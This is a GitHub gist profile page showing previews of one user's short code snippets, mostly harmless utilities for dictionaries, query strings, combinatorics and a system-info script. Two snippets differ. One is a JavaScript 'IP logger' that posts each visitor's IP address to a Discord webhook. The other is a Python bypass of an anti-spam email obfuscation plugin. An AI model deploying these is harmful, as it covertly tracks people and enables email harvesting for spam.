Skip to content

Instantly share code, notes, and snippets.

View ZSendokame's full-sized avatar
:shipit:
Programming

ZSendokame ZSendokame

:shipit:
Programming
  • 192.168.51.1
  • 01:09 (UTC -04:00)
View GitHub Profile
@ZSendokame
ZSendokame / flatten.py
Last active March 2, 2024 11:57
flattening of dictionaries.
def flatten(structure: dict, head = [], flattened = {}) -> list:
for key, value in structure.items():
if isinstance(value, dict):
head.append(key)
flatten(value, [*head, key], flattened)
else:
flattened['__'.join(head)] = value
return flattened
@ZSendokame
ZSendokame / parse.py
Last active February 16, 2024 00:06
Parsing and unparsing of Query Strings. Saving first ones instead of last ones.
def parse_qs(qs: str) -> dict:
kvs = qs.split('&')
parsed = {}
for kv in kvs:
key, value = kv.split('=')
if key not in parsed:
parsed[key] = value
@ZSendokame
ZSendokame / combinations.py
Created February 10, 2024 01:21
Return all the combinations of a set of characters. ['A', 'B', 'C'], 2 -> AA, AB, AC, BA, BB, BC, CA, CB, CC
def combinations(letters: list, length: int = 4, string = '', result = []) -> list[str]:
if length == len(string):
result.append(string)
return
for letter in letters:
combinations(letters, length, string + letter, result)
return result
@ZSendokame
ZSendokame / text_prediction.py
Last active January 9, 2024 03:00
Text prediction using your own datasets. Works by searching matches and then cutting out unnecesary segments. Still working on it
def algorithm(dataset: list, input: str, output_length: int = None) -> str:
matches = filter(lambda quote: input in quote, dataset)
processed = map(lambda quote: quote[quote.index(input):], matches)
return [segment[0:output_length] for segment in processed]
@ZSendokame
ZSendokame / composites.py
Last active January 9, 2024 05:27
Return composition of a number n, checking divisibility by all numbers up to a ceiling.
def compound(n, ceiling: int = 10, powers: list = []):
for i in range(2, ceiling):
if n % i == 0:
powers.append(i)
return compound(n // i, ceiling, powers)
powers.append(n)
return powers
@ZSendokame
ZSendokame / wrap.py
Last active November 18, 2023 16:50
Wrap an array in n-Sized groups, wrap([1, 2, 3, 4, 1, 2, 3, 4], 4) -> [[1, 2, 3, 4], [1, 2, 3, 4]]
def wrap(array, size) -> list:
result = []
aux_array = []
for i in array:
aux_array.append(i)
if len(aux_array) == size:
result.append(aux_array)
@ZSendokame
ZSendokame / Eulers.py
Last active November 3, 2023 18:09
Euler number approximation. Instead of using math.factorial, used that little trick. Discovered while thinking how to make it faster and more precise, didn't found a way to make it more precise
def euler() -> Decimal:
e = Decimal(0)
f = 1
for n in range(2, 100_000):
f *= n
e += Decimal((1 / f))
return e + 2
@ZSendokame
ZSendokame / logger.js
Created July 2, 2023 17:18
IP logger with no backend, using Discord webhooks. Thanks to Usan.
let webhook_url = 'webhook';
let req = new XMLHttpRequest();
req.open('GET', 'https://api.db-ip.com/v2/free/self');
req.send();
req.onload = () => {
webhook(JSON.parse(req.response)['ipAddress'])
}
function webhook(text) {
@ZSendokame
ZSendokame / nospam.py
Last active February 20, 2023 14:24
NoSpam jQuery plugin bypass
def bypass(mail: str, mode='normal') -> str:
if mode == 'normal':
mail = mail[::-1]
mail = mail.replace('//', '@')
mail = mail.replace('/', '.')
return mail
# moc/elpmaxe//oof -> normal mode
@ZSendokame
ZSendokame / wfetch.ps1
Last active January 10, 2025 23:33
Neofetch-like, based on zJairo's wfetch but native. (7.3.1 or up)
$uptime = Get-Uptime
$os = Get-CimInstance -ClassName CIM_OperatingSystem
$version = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
Write-Host "###### ####### " -ForegroundColor Cyan -NoNewLine
Write-Host "$env:username@$env:computername"
Write-Host "###### ####### " -ForegroundColor Cyan -NoNewLine
Write-Host "Architecture $($operativeSystem.OSArchitecture)"
Write-Host "###### ####### " -ForegroundColor Cyan -NoNewLine
Write-Host "$($uptime.Days)d, $($uptime.Hours)h, $($uptime.Minutes)m"